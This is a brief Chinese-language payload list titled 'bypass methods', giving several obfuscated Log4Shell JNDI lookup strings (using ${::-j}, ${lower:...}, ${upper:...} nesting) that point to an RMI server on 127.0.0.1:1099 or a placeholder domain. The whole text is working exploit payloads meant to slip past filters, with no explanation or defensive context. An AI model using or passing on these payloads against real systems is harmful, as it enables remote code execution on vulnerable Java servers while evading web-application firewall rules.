## 绕过方法 ``` ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass} ${${::-j}ndi:rmi://127.0.0.1:1099/ass} ${jndi:rmi://adsasd.asdasd.asdasd} ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc} ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://adsasd.asdasd.asdasd/poc} ```